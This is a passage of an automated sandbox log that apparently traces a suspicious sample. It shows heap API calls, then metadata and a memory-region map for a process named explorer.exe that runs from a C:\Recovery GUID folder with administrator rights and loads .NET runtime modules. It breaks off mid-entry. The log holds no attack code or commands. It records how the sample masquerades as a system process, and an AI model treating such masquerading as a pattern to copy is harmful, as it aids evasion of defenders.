[0153.741] GetProcessHeap () returned 0x180000 [0153.741] RtlSizeHeap (HeapHandle=0x180000, Flags=0x0, MemoryPointer=0x19d600) returned 0xc [0153.741] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x19d600 | out: hHeap=0x180000) returned 1 [0153.741] GetProcessHeap () returned 0x180000 [0153.741] GetProcessHeap () returned 0x180000 [0153.741] HeapValidate (hHeap=0x180000, dwFlags=0x0, lpMem=0x19cc30) returned 1 [0153.741] GetProcessHeap () returned 0x180000 [0153.741] RtlSizeHeap (HeapHandle=0x180000, Flags=0x0, MemoryPointer=0x19cc30) returned 0x20 [0153.741] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x19cc30 | out: hHeap=0x180000) returned 1 [0153.742] GetProcessHeap () returned 0x180000 [0153.742] GetProcessHeap () returned 0x180000 [0153.742] HeapValidate (hHeap=0x180000, dwFlags=0x0, lpMem=0x19d620) returned 1 [0153.742] GetProcessHeap () returned 0x180000 [0153.742] RtlSizeHeap (HeapHandle=0x180000, Flags=0x0, MemoryPointer=0x19d620) returned 0xe [0153.742] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x19d620 | out: hHeap=0x180000) returned 1 [0153.742] GetProcessHeap () returned 0x180000 [0153.742] GetProcessHeap () returned 0x180000 [0153.742] HeapValidate (hHeap=0x180000, dwFlags=0x0, lpMem=0x19cc00) returned 1 [0153.742] GetProcessHeap () returned 0x180000 [0153.742] RtlSizeHeap (HeapHandle=0x180000, Flags=0x0, MemoryPointer=0x19cc00) returned 0x20 [0153.743] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x19cc00 | out: hHeap=0x180000) returned 1 [0153.743] GetProcessHeap () returned 0x180000 [0153.743] GetProcessHeap () returned 0x180000 [0153.743] HeapValidate (hHeap=0x180000, dwFlags=0x0, lpMem=0x19d640) returned 1 [0153.743] GetProcessHeap () returned 0x180000 [0153.743] RtlSizeHeap (HeapHandle=0x180000, Flags=0x0, MemoryPointer=0x19d640) returned 0x10 [0153.743] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x19d640 | out: hHeap=0x180000) returned 1 [0153.743] GetProcessHeap () returned 0x180000 [0153.743] GetProcessHeap () returned 0x180000 [0153.743] HeapValidate (hHeap=0x180000, dwFlags=0x0, lpMem=0x19cbd0) returned 1 [0153.743] GetProcessHeap () returned 0x180000 [0153.743] RtlSizeHeap (HeapHandle=0x180000, Flags=0x0, MemoryPointer=0x19cbd0) returned 0x20 [0153.744] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x19cbd0 | out: hHeap=0x180000) returned 1 [0153.744] GetProcessHeap () returned 0x180000 [0153.744] GetProcessHeap () returned 0x180000 [0153.744] HeapValidate (hHeap=0x180000, dwFlags=0x0, lpMem=0x19b9f0) returned 1 [0153.744] GetProcessHeap () returned 0x180000 [0153.744] RtlSizeHeap (HeapHandle=0x180000, Flags=0x0, MemoryPointer=0x19b9f0) returned 0x18 [0153.744] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x19b9f0 | out: hHeap=0x180000) returned 1 [0153.744] GetProcessHeap () returned 0x180000 [0153.744] GetProcessHeap () returned 0x180000 [0153.744] HeapValidate (hHeap=0x180000, dwFlags=0x0, lpMem=0x1959f0) returned 1 [0153.745] GetProcessHeap () returned 0x180000 [0153.745] RtlSizeHeap (HeapHandle=0x180000, Flags=0x0, MemoryPointer=0x1959f0) returned 0x20 [0153.745] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1959f0 | out: hHeap=0x180000) returned 1 [0153.745] GetProcessHeap () returned 0x180000 [0153.745] GetProcessHeap () returned 0x180000 [0153.745] HeapValidate (hHeap=0x180000, dwFlags=0x0, lpMem=0x195a20) returned 1 [0153.745] GetProcessHeap () returned 0x180000 [0153.745] RtlSizeHeap (HeapHandle=0x180000, Flags=0x0, MemoryPointer=0x195a20) returned 0x20 [0153.746] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x195a20 | out: hHeap=0x180000) returned 1 [0153.763] GetProcessHeap () returned 0x180000 [0153.764] GetProcessHeap () returned 0x180000 [0153.764] HeapValidate (hHeap=0x180000, dwFlags=0x0, lpMem=0x195a50) returned 1 [0153.764] GetProcessHeap () returned 0x180000 [0153.765] RtlSizeHeap (HeapHandle=0x180000, Flags=0x0, MemoryPointer=0x195a50) returned 0x20 [0153.765] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x195a50 | out: hHeap=0x180000) returned 1 [0153.769] GetProcessHeap () returned 0x180000 [0153.770] GetProcessHeap () returned 0x180000 [0153.770] HeapValidate (hHeap=0x180000, dwFlags=0x0, lpMem=0x195a80) returned 1 [0153.770] GetProcessHeap () returned 0x180000 [0153.770] RtlSizeHeap (HeapHandle=0x180000, Flags=0x0, MemoryPointer=0x195a80) returned 0x20 [0153.770] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x195a80 | out: hHeap=0x180000) returned 1 [0153.770] GetProcessHeap () returned 0x180000 [0153.770] GetProcessHeap () returned 0x180000 [0153.770] HeapValidate (hHeap=0x180000, dwFlags=0x0, lpMem=0x19ba10) returned 1 [0153.770] GetProcessHeap () returned 0x180000 [0153.771] RtlSizeHeap (HeapHandle=0x180000, Flags=0x0, MemoryPointer=0x19ba10) returned 0x18 [0153.771] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x19ba10 | out: hHeap=0x180000) returned 1 [0153.771] GetProcessHeap () returned 0x180000 [0153.771] GetProcessHeap () returned 0x180000 [0153.771] HeapValidate (hHeap=0x180000, dwFlags=0x0, lpMem=0x195ab0) returned 1 [0153.771] GetProcessHeap () returned 0x180000 [0153.771] RtlSizeHeap (HeapHandle=0x180000, Flags=0x0, MemoryPointer=0x195ab0) returned 0x20 [0153.772] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x195ab0 | out: hHeap=0x180000) returned 1 [0153.775] GetProcessHeap () returned 0x180000 [0153.775] GetProcessHeap () returned 0x180000 [0153.775] HeapValidate (hHeap=0x180000, dwFlags=0x0, lpMem=0x195b40) returned 1 [0153.775] GetProcessHeap () returned 0x180000 [0153.776] RtlSizeHeap (HeapHandle=0x180000, Flags=0x0, MemoryPointer=0x195b40) returned 0x20 [0153.777] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x195b40 | out: hHeap=0x180000) returned 1 [0153.777] GetProcessHeap () returned 0x180000 [0153.777] GetProcessHeap () returned 0x180000 [0153.777] HeapValidate (hHeap=0x180000, dwFlags=0x0, lpMem=0x195ba0) returned 1 [0153.777] GetProcessHeap () returned 0x180000 [0153.777] RtlSizeHeap (HeapHandle=0x180000, Flags=0x0, MemoryPointer=0x195ba0) returned 0x20 [0153.778] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x195ba0 | out: hHeap=0x180000) returned 1 [0153.778] GetProcessHeap () returned 0x180000 [0153.778] GetProcessHeap () returned 0x180000 [0153.778] HeapValidate (hHeap=0x180000, dwFlags=0x0, lpMem=0x195c00) returned 1 [0153.778] GetProcessHeap () returned 0x180000 [0153.778] RtlSizeHeap (HeapHandle=0x180000, Flags=0x0, MemoryPointer=0x195c00) returned 0x20 [0153.778] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x195c00 | out: hHeap=0x180000) returned 1 [0153.778] GetProcessHeap () returned 0x180000 [0153.778] GetProcessHeap () returned 0x180000 [0153.778] HeapValidate (hHeap=0x180000, dwFlags=0x0, lpMem=0x195c30) returned 1 [0153.779] GetProcessHeap () returned 0x180000 [0153.779] RtlSizeHeap (HeapHandle=0x180000, Flags=0x0, MemoryPointer=0x195c30) returned 0x20 [0153.779] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x195c30 | out: hHeap=0x180000) returned 1 [0153.779] GetProcessHeap () returned 0x180000 [0153.779] GetProcessHeap () returned 0x180000 [0153.779] HeapValidate (hHeap=0x180000, dwFlags=0x0, lpMem=0x19ba30) returned 1 [0153.779] GetProcessHeap () returned 0x180000 [0153.779] RtlSizeHeap (HeapHandle=0x180000, Flags=0x0, MemoryPointer=0x19ba30) returned 0x18 [0153.779] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x19ba30 | out: hHeap=0x180000) returned 1 [0153.779] GetProcessHeap () returned 0x180000 [0153.780] GetProcessHeap () returned 0x180000 [0153.780] HeapValidate (hHeap=0x180000, dwFlags=0x0, lpMem=0x195b70) returned 1 [0153.780] GetProcessHeap () returned 0x180000 [0153.780] RtlSizeHeap (HeapHandle=0x180000, Flags=0x0, MemoryPointer=0x195b70) returned 0x20 [0153.780] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x195b70 | out: hHeap=0x180000) returned 1 [0153.781] GetProcessHeap () returned 0x180000 [0153.781] GetProcessHeap () returned 0x180000 [0153.781] HeapValidate (hHeap=0x180000, dwFlags=0x0, lpMem=0x19b9b0) returned 1 [0153.781] GetProcessHeap () returned 0x180000 [0153.781] RtlSizeHeap (HeapHandle=0x180000, Flags=0x0, MemoryPointer=0x19b9b0) returned 0x18 [0153.785] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x19b9b0 | out: hHeap=0x180000) returned 1 [0153.785] exit (_Code=0) Thread: id = 182 os_tid = 0x5ec Process: id = "46" image_name = "explorer.exe" filename = "c:\\recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\explorer.exe" page_root = "0x41f65000" os_pid = "0xb60" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "25" os_parent_pid = "0xf78" cmd_line = "C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\explorer.exe " cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f52a" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 3854 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 3855 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 3856 start_va = 0x160000 end_va = 0x235fff monitored = 1 entry_point = 0x22d67e region_type = mapped_file name = "explorer.exe" filename = "\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\explorer.exe" (normalized: "c:\\recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\explorer.exe") Region: id = 3857 start_va = 0x330000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000330000" filename = "" Region: id = 3858 start_va = 0x76d20000 end_va = 0x76ec8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3859 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 3860 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3861 start_va = 0x7feff040000 end_va = 0x7feff040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 3862 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 3863 start_va = 0x7fffffd6000 end_va = 0x7fffffd6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 3864 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 4492 start_va = 0x40000 end_va = 0xdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000040000" filename = "" Region: id = 4493 start_va = 0x7fef9de0000 end_va = 0x7fef9e4efff monitored = 1 entry_point = 0x7fef9de1134 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\System32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll") Region: id = 4494 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 0 entry_point = 0x76b15340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 4495 start_va = 0x7fefcd20000 end_va = 0x7fefcd8bfff monitored = 0 entry_point = 0x7fefcd22780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 4499 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 4500 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 4501 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 4506 start_va = 0xe0000 end_va = 0x146fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 4507 start_va = 0x240000 end_va = 0x2bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000240000" filename = "" Region: id = 4508 start_va = 0x430000 end_va = 0x52ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 5010 start_va = 0x530000 end_va = 0x6fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000530000" filename = "" Region: id = 5011 start_va = 0x7fefe7b0000 end_va = 0x7fefe88afff monitored = 0 entry_point = 0x7fefe7d0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 5012 start_va = 0x7fefec70000 end_va = 0x7fefed0efff monitored = 0 entry_point = 0x7fefec725a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 5013 start_va = 0x7fefec50000 end_va = 0x7fefec6efff monitored = 0 entry_point = 0x7fefec560e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 5014 start_va = 0x7fefe680000 end_va = 0x7fefe7acfff monitored = 0 entry_point = 0x7fefe6ced50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 5015 start_va = 0x530000 end_va = 0x61ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000530000" filename = "" Region: id = 5016 start_va = 0x680000 end_va = 0x6fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000680000" filename = "" Region: id = 5017 start_va = 0x700000 end_va = 0x7fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000700000" filename = "" Region: id = 5018 start_va = 0x7fef8bb0000 end_va = 0x7fef8c58fff monitored = 1 entry_point = 0x7fef8bb1010 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscoreei.dll") Region: id = 5019 start_va = 0x7fef9dd0000 end_va = 0x7fef9dd2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 5308 start_va = 0x7fefe890000 end_va = 0x7fefe900fff monitored = 0 entry_point = 0x7fefe8a1e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 5309 start_va = 0x7fefd420000 end_va = 0x7fefd486fff monitored = 0 entry_point = 0x7fefd42b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 5310 start_va = 0x76c20000 end_va = 0x76d19fff monitored = 0 entry_point = 0x76c3a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 5311 start_va = 0x7fefeb60000 end_va = 0x7fefeb6dfff monitored = 0 entry_point = 0x7fefeb61080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 5312 start_va = 0x7fefe910000 end_va = 0x7fefe9d8fff monitored = 0 entry_point = 0x7fefe98a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 5313 start_va = 0x240000 end_va = 0x268fff monitored = 0 entry_point = 0x241010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 5314 start_va = 0x2b0000 end_va = 0x2bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002b0000" filename = "" Region: id = 5315 start_va = 0x800000 end_va = 0x987fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000800000" filename = "" Region: id = 5316 start_va = 0x240000 end_va = 0x268fff monitored = 0 entry_point = 0x241010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 5317 start_va = 0x7feff000000 end_va = 0x7feff02dfff monitored = 0 entry_point = 0x7feff001010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 5318 start_va = 0x7fefed10000 end_va = 0x7fefee18fff monitored = 0 entry_point = 0x7fefed11064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 5319 start_va = 0x990000 end_va = 0xb10fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000990000" filename = "" Region: id = 5320 start_va = 0xb20000 end_va = 0x1f1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b20000" filename = "" Region: id = 5321 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 5322 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000040000" filename = "" Region: id = 5323 start_va = 0x60000 end_va = 0xdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000060000" filename = "" Region: id = 5324 start_va = 0x530000 end_va = 0x5fffff monitored = 1 entry_point = 0x5fd67e region_type = mapped_file name = "explorer.exe" filename = "\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\explorer.exe" (normalized: "c:\\recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\explorer.exe") Region: id = 5325 start_va = 0x610000 end_va = 0x61ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000610000" filename = "" Region: id = 5326 start_va = 0x530000 end_va = 0x5fffff monitored = 1 entry_point = 0x5fd67e region_type = mapped_file name = "explorer.exe" filename = "\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\explorer.exe" (normalized: "c:\\recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\explorer.exe") Region: id = 5327 start_va = 0x7fefbe30000 end_va = 0x7fefbe3bfff monitored = 0 entry_point = 0x7fefbe31064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 5328 start_va = 0x7feefe70000 end_va = 0x7fef0936fff monitored = 1 entry_point = 0x7feefe763a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 5463 start_va = 0x7feefe70000 end_va = 0x7fef0936fff monitored = 1 entry_point = 0x7feefe763a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 5464 start_va = 0x7feefe70000 end_va = 0x7fef0936fff monitored = 1 entry_point = 0x7feefe763a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 5465 start_va = 0x7fef9f10000 end_va = 0x7fef9f25fff monitored = 0 entry_point = 0x7fef9f1c000 region_type = mapped_file name = "vcruntime140_clr0400.dll" filename = "\\Windows\\System32\\vcruntime140_clr0400.dll" (normalized: "c:\\windows\\system32\\vcruntime140_clr0400.dll") Region: id = 5466 start_va = 0x7fef9e50000 end_va = 0x7fef9f0cfff monitored = 0 entry_point = 0x7fef9ed7db0 region_type = mapped_file name = "ucrtbase_clr0400.dll" filename = "\\Windows\\System32\\ucrtbase_clr0400.dll" (normalized: "c:\\windows\\system32\\ucrtbase_clr0400.dll") Region: id = 5467 start_va = 0x50000 end_va = 0x50fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 5582 start_va = 0x150000 end_va = 0x15ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000150000" filename = "" Region: id = 5583 start_va = 0x240000 end_va = 0x24ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000240000" filename = "" Region: id = 5584 start_va = 0x7fe90820000 end_va = 0x7fe9082ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe90820000" filename = "" Region: id = 5585 start_va = 0x7fe90830000 end_va = 0x7fe9083ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe90830000" filename = "" Region: id = 5586 start_va = 0x7fe90840000 end_va = 0x7fe908cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe90840000" filename = "" Region: id = 5587 start_va = 0x7fe908d0000 end_va = 0x7fe9093ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe908d0000" filename = "" Region: id = 5588 start_va = 0x250000 end_va = 0x250fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000250000" filename = "" Region: id = 5589 start_va = 0x260000 end_va = 0x260fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000260000" filename = "" Region: id = 5590 start_va = 0x1f20000 end_va = 0x212ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f20000" filename = "" Region: id = 5591 start_va = 0x2130000 end_va = 0x233ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002130000" filename = "" Region: id = 5592 start_va = 0x21c0000 end_va = 0x22bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021c0000" filename = "" Region: id = 5593 start_va = 0x22c0000 end_va = 0x233ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022c0000" filename = "" Region: id = 5594 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 5595 start_va = 0x270000 end_va = 0x27ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000270000" filename = "" Region: id = 5596 start_va = 0x2340000 end_va = 0x1a33ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002340000" filename = "" Region: id = 5695 start_va = 0x1a340000 end_va = 0x1a6bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a340000" filename = "" Region: id = 5696 start_va = 0x1f20000 end_va = 0x2020fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f20000" filename = "" Region: id = 5697 start_va = 0x20b0000 end_va = 0x212ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000020b0000" filename = "" Region: id = 5698 start_va = 0x1a850000 end_va = 0x1a94ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a850000" filename = "" Region: id = 5699 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 5834 start_va = 0x1a6f0000 end_va = 0x1a7effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a6f0000" filename = "" Region: id = 5835 start_va = 0x1a950000 end_va = 0x1aa4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a950000" filename = "" Region: id = 5836 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 5932 start_va = 0x1aa50000 end_va = 0x1ad1efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 6265 start_va = 0x7feee870000 end_va = 0x7feefe6cfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorlib.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll") Region: id = 6324 start_va = 0x7fefd4e0000 end_va = 0x7fefd6e2fff monitored = 0 entry_point = 0x7fefd503330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 6325 start_va = 0x530000 end_va = 0x5acfff monitored = 0 entry_point = 0x53cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 6326 start_va = 0x530000 end_va = 0x5acfff monitored = 0 entry_point = 0x53cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 6327 start_va = 0x7fefcb60000 end_va = 0x7fefcb6efff monitored = 0 entry_point = 0x7fefcb61010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 6328 start_va = 0x7fefb5c0000 end_va = 0x7fefb615fff monitored = 0 entry_point = 0x7fefb5cbbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 6329 start_va = 0x530000 end_va = 0x5dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000530000" filename = "" Region: id = 6330 start_va = 0x1ad20000 end_va = 0x1adfefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ad20000" filename = "" Region: id = 6331 start_va = 0x7fffff10000 end_va = 0x7fffffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff10000" filename = "" Region: id = 6332 start_va = 0x7fffff00000 end_va = 0x7fffff0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff00000" filename = "" Region: id = 6333 start_va = 0x7fe90940000 end_va = 0x7fe909bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe90940000" filename = "" Region: id = 6386 start_va = 0x7fe909c0000 end_va = 0x7fe909cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe909c0000" filename = "" Region: id = 6387 start_va = 0x7fe909d0000 end_va = 0x7fe909dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe909d0000" filename = "" Region: id = 6436 start_va = 0x7fef69b0000 end_va = 0x7fef69b2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-xstate-l2-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-xstate-l2-1-0.dll") Region: id = 6451 start_va = 0x7fef3210000 end_va = 0x7fef335efff monitored = 1 entry_point = 